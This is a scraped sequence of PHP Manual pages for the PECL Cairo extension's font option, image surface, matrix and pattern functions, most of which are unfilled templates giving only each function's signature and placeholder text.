When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_get_hint_style() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_font_options_get_hint_style
  • cairo_font_options_hash »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_font_options_get_subpixel_order

(PECL cairo >= 0.1.0)

cairo_font_options_get_subpixel_order — Description

Description

int cairo_font_options_get_subpixel_order ( CairoFontOptions $options )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_get_subpixel_order() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_font_options_get_subpixel_order
  • cairo_font_options_merge »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_font_options_hash

(PECL cairo >= 0.1.0)

cairo_font_options_hash — Description

Description

int cairo_font_options_hash ( CairoFontOptions $options )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_hash() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_font_options_hash
  • cairo_font_options_set_antialias »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_font_options_merge

(PECL cairo >= 0.1.0)

cairo_font_options_merge — Description

Description

void cairo_font_options_merge ( CairoFontOptions $options , CairoFontOptions $other )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

other

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_merge() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_font_options_merge
  • cairo_font_options_set_hint_metrics »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_font_options_set_antialias

(PECL cairo >= 0.1.0)

cairo_font_options_set_antialias — Description

Description

void cairo_font_options_set_antialias ( CairoFontOptions $options , int $antialias )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

antialias

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_set_antialias() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_font_options_set_antialias
  • cairo_font_options_set_hint_style »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_font_options_set_hint_metrics

(PECL cairo >= 0.1.0)

cairo_font_options_set_hint_metrics — Description

Description

void cairo_font_options_set_hint_metrics ( CairoFontOptions $options , int $hint_metrics )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

hint_metrics

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_set_hint_metrics() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_font_options_set_hint_metrics
  • cairo_font_options_set_subpixel_order »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_font_options_set_hint_style

(PECL cairo >= 0.1.0)

cairo_font_options_set_hint_style — Description

Description

void cairo_font_options_set_hint_style ( CairoFontOptions $options , int $hint_style )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

hint_style

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_set_hint_style() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_font_options_set_hint_style
  • cairo_font_options_status »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_font_options_set_subpixel_order

(PECL cairo >= 0.1.0)

cairo_font_options_set_subpixel_order — Description

Description

void cairo_font_options_set_subpixel_order ( CairoFontOptions $options , int $subpixel_order )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

subpixel_order

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_set_subpixel_order() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_font_options_set_subpixel_order
  • cairo_format_stride_for_width »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_font_options_status

(PECL cairo >= 0.1.0)

cairo_font_options_status — Description

Description

int cairo_font_options_status ( CairoFontOptions $options )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_font_options_status() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_font_options_status
  • cairo_image_surface_create_for_data »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_format_stride_for_width

(PECL cairo >= 0.1.0)

cairo_format_stride_for_width — Description

Description

int cairo_format_stride_for_width ( int $format , int $width )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

format

Description...

width

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_format_stride_for_width() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_format_stride_for_width
  • cairo_image_surface_create_from_png »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_image_surface_create_for_data

(PECL cairo >= 0.1.0)

cairo_image_surface_create_for_data — Description

Description

CairoImageSurface cairo_image_surface_create_for_data ( string $data , int $format , int $width , int $height [, int $stride = -1 ] )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

data

Description...

format

Description...

width

Description...

height

Description...

stride

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_image_surface_create_for_data() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_image_surface_create_for_data
  • cairo_image_surface_create »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_image_surface_create_from_png

(PECL cairo >= 0.1.0)

cairo_image_surface_create_from_png — Description

Description

CairoImageSurface cairo_image_surface_create_from_png ( string $file )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_image_surface_create_from_png() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_image_surface_create_from_png
  • cairo_image_surface_get_data »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_image_surface_create

(PECL cairo >= 0.1.0)

cairo_image_surface_create — Description

Description

CairoImageSurface cairo_image_surface_create ( int $format , int $width , int $height )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

format

Description...

width

Description...

height

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_image_surface_create() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_image_surface_create
  • cairo_image_surface_get_format »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_image_surface_get_data

(PECL cairo >= 0.1.0)

cairo_image_surface_get_data — Description

Description

string cairo_image_surface_get_data ( CairoImageSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_image_surface_get_data() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_image_surface_get_data
  • cairo_image_surface_get_height »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_image_surface_get_format

(PECL cairo >= 0.1.0)

cairo_image_surface_get_format — Description

Description

int cairo_image_surface_get_format ( CairoImageSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_image_surface_get_format() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_image_surface_get_format
  • cairo_image_surface_get_stride »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_image_surface_get_height

(PECL cairo >= 0.1.0)

cairo_image_surface_get_height — Description

Description

int cairo_image_surface_get_height ( CairoImageSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_image_surface_get_height() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_image_surface_get_height
  • cairo_image_surface_get_width »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_image_surface_get_stride

(PECL cairo >= 0.1.0)

cairo_image_surface_get_stride — Description

Description

int cairo_image_surface_get_stride ( CairoImageSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_image_surface_get_stride() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_image_surface_get_stride
  • cairo_matrix_create_scale »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_image_surface_get_width

(PECL cairo >= 0.1.0)

cairo_image_surface_get_width — Description

Description

int cairo_image_surface_get_width ( CairoImageSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_image_surface_get_width() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Alias of CairoMatrix::initScale

  • « cairo_image_surface_get_width
  • cairo_matrix_create_translate »
  • PHP Manual
  • Cairo Functions
  • Alias of CairoMatrix::initScale

cairo_matrix_create_scale

(PECL cairo >= 0.1.0)

cairo_matrix_create_scale — Alias of CairoMatrix::initScale()

Description

This function is an alias of: CairoMatrix::initScale().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.


Alias of CairoMatrix::initTranslate

  • « cairo_matrix_create_scale
  • cairo_matrix_invert »
  • PHP Manual
  • Cairo Functions
  • Alias of CairoMatrix::initTranslate

cairo_matrix_create_translate

(PECL cairo >= 0.1.0)

cairo_matrix_create_translate — Alias of CairoMatrix::initTranslate()

Description

This function is an alias of: CairoMatrix::initTranslate().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_matrix_create_translate
  • cairo_matrix_multiply »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_matrix_invert

(PECL cairo >= 0.1.0)

cairo_matrix_invert — Description

Description

void cairo_matrix_invert ( CairoMatrix $matrix )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

matrix

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_matrix_invert() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_matrix_invert
  • cairo_matrix_rotate »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_matrix_multiply

(PECL cairo >= 0.1.0)

cairo_matrix_multiply — Description

Description

CairoMatrix cairo_matrix_multiply ( CairoMatrix $matrix1 , CairoMatrix $matrix2 )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

matrix1

Description...

matrix2

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_matrix_multiply() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_matrix_multiply
  • cairo_matrix_transform_distance »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_matrix_rotate

(PECL cairo >= 0.1.0)

cairo_matrix_rotate — Description

Description

void cairo_matrix_rotate ( CairoMatrix $matrix , float $radians )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

matrix

Description...

radians

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_matrix_rotate() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_matrix_rotate
  • cairo_matrix_transform_point »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_matrix_transform_distance

(PECL cairo >= 0.1.0)

cairo_matrix_transform_distance — Description

Description

array cairo_matrix_transform_distance ( CairoMatrix $matrix , float $dx , float $dy )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

matrix

Description...

dx

Description...

dy

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_matrix_transform_distance() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_matrix_transform_distance
  • cairo_matrix_translate »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_matrix_transform_point

(PECL cairo >= 0.1.0)

cairo_matrix_transform_point — Description

Description

array cairo_matrix_transform_point ( CairoMatrix $matrix , float $dx , float $dy )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

matrix

Description...

dx

Description...

dy

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_matrix_transform_point() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_matrix_transform_point
  • cairo_pattern_add_color_stop_rgb »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_matrix_translate

(PECL cairo >= 0.1.0)

cairo_matrix_translate — Description

Description

void cairo_matrix_translate ( CairoMatrix $matrix , float $tx , float $ty )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

matrix

Description...

tx

Description...

ty

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_matrix_translate() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_matrix_translate
  • cairo_pattern_add_color_stop_rgba »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_add_color_stop_rgb

(PECL cairo >= 0.1.0)

cairo_pattern_add_color_stop_rgb — Description

Description

void cairo_pattern_add_color_stop_rgb ( CairoGradientPattern $pattern , float $offset , float $red , float $green , float $blue )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

offset

Description...

red

Description...

green

Description...

blue

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_add_color_stop_rgb() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_add_color_stop_rgb
  • cairo_pattern_create_for_surface »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_add_color_stop_rgba

(PECL cairo >= 0.1.0)

cairo_pattern_add_color_stop_rgba — Description

Description

void cairo_pattern_add_color_stop_rgba ( CairoGradientPattern $pattern , float $offset , float $red , float $green , float $blue , float $alpha )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

offset

Description...

red

Description...

green

Description...

blue

Description...

alpha

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_add_color_stop_rgba() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_add_color_stop_rgba
  • cairo_pattern_create_linear »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_create_for_surface

(PECL cairo >= 0.1.0)

cairo_pattern_create_for_surface — Description

Description

CairoPattern cairo_pattern_create_for_surface ( CairoSurface $surface )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

surface

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_create_for_surface() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_create_for_surface
  • cairo_pattern_create_radial »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_create_linear

(PECL cairo >= 0.1.0)

cairo_pattern_create_linear — Description

Description

CairoPattern cairo_pattern_create_linear ( float $x0 , float $y0 , float $x1 , float $y1 )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

x0

Description...

y0

Description...

x1

Description...

y1

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_create_linear() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_create_linear
  • cairo_pattern_create_rgb »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_create_radial

(PECL cairo >= 0.1.0)

cairo_pattern_create_radial — Description

Description

CairoPattern cairo_pattern_create_radial ( float $x0 , float $y0 , float $r0 , float $x1 , float $y1 , float $r1 )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

x0

Description...

y0

Description...

r0

Description...

x1

Description...

y1

Description...

r1

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_create_radial() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_create_radial
  • cairo_pattern_create_rgba »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_create_rgb

(PECL cairo >= 0.1.0)

cairo_pattern_create_rgb — Description

Description

CairoPattern cairo_pattern_create_rgb ( float $red , float $green , float $blue )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

red

Description...

green

Description...

blue

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_create_rgb() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_create_rgb
  • cairo_pattern_get_color_stop_count »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_create_rgba

(PECL cairo >= 0.1.0)

cairo_pattern_create_rgba — Description

Description

CairoPattern cairo_pattern_create_rgba ( float $red , float $green , float $blue , float $alpha )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

red

Description...

green

Description...

blue

Description...

alpha

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_create_rgba() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_create_rgba
  • cairo_pattern_get_color_stop_rgba »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_get_color_stop_count

(PECL cairo >= 0.1.0)

cairo_pattern_get_color_stop_count — Description

Description

int cairo_pattern_get_color_stop_count ( CairoGradientPattern $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_color_stop_count() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_get_color_stop_count
  • cairo_pattern_get_extend »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_get_color_stop_rgba

(PECL cairo >= 0.1.0)

cairo_pattern_get_color_stop_rgba — Description

Description

array cairo_pattern_get_color_stop_rgba ( CairoGradientPattern $pattern , int $index )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

index

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_color_stop_rgba() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_get_color_stop_rgba
  • cairo_pattern_get_filter »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_get_extend

(PECL cairo >= 0.1.0)

cairo_pattern_get_extend — Description

Description

int cairo_pattern_get_extend ( string $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_extend() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_get_extend
  • cairo_pattern_get_linear_points »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_get_filter

(PECL cairo >= 0.1.0)

cairo_pattern_get_filter — Description

Description

int cairo_pattern_get_filter ( CairoSurfacePattern $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_filter() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_get_filter
  • cairo_pattern_get_matrix »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_get_linear_points

(PECL cairo >= 0.1.0)

cairo_pattern_get_linear_points — Description

Description

array cairo_pattern_get_linear_points ( CairoLinearGradient $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_linear_points() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_get_linear_points
  • cairo_pattern_get_radial_circles »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_get_matrix

(PECL cairo >= 0.1.0)

cairo_pattern_get_matrix — Description

Description

CairoMatrix cairo_pattern_get_matrix ( CairoPattern $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_matrix() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_get_matrix
  • cairo_pattern_get_rgba »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_get_radial_circles

(PECL cairo >= 0.1.0)

cairo_pattern_get_radial_circles — Description

Description

array cairo_pattern_get_radial_circles ( CairoRadialGradient $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_radial_circles() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_get_radial_circles
  • cairo_pattern_get_surface »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_get_rgba

(PECL cairo >= 0.1.0)

cairo_pattern_get_rgba — Description

Description

array cairo_pattern_get_rgba ( CairoSolidPattern $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_rgba() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_get_rgba
  • cairo_pattern_get_type »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_get_surface

(PECL cairo >= 0.1.0)

cairo_pattern_get_surface — Description

Description

CairoSurface cairo_pattern_get_surface ( CairoSurfacePattern $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_surface() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_get_surface
  • cairo_pattern_set_extend »
  • PHP Manual
  • Cairo Functions
  • Description

cairo_pattern_get_type

(PECL cairo >= 0.1.0)

cairo_pattern_get_type — Description

Description

int cairo_pattern_get_type ( CairoPattern $pattern )

The function description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

pattern

Description...

Return Values

What is returned on success and failure

Errors/Exceptions

When does this function issue E_* level errors, and/or throw exceptions.

Examples

Example #1 cairo_pattern_get_type() example

Any text that describes the purpose of the example, or what goes on in the example should be here.

<?php

/* ... */

?>

The above example will output something similar to:

...

See Also

  • related function name here()

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « cairo_pattern_get_type
